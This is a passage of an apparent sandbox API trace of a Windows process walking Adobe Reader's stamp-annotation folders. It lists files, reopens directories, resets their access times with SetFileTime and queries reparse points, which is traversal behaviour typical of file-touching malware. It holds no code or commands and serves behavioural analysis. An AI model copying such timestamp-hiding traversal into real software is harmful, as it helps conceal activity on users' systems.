(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12156c0 [0083.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a73b0 [0083.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.214] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12156e0 [0083.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a74b8 [0083.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.215] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.215] GetLastError () returned 0x12 [0083.215] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.216] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xffc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa447, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.216] GetLastError () returned 0x12 [0083.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.216] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0083.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.218] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.218] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.218] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.219] NtClose (Handle=0x174) returned 0x0 [0083.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.220] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.220] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.220] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215700 [0083.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a75c0 [0083.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.222] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215720 [0083.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a76c8 [0083.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.224] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd074, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215740 [0083.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a77d0 [0083.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.225] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215760 [0083.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a78d8 [0083.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.227] GetLastError () returned 0x12 [0083.227] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.227] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd074, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.227] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.227] GetLastError () returned 0x12 [0083.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.227] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.228] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0083.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.228] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.230] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.230] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.230] NtClose (Handle=0x180) returned 0x0 [0083.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.232] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.232] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.232] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215780 [0083.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a79e0 [0083.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.234] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9542, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", 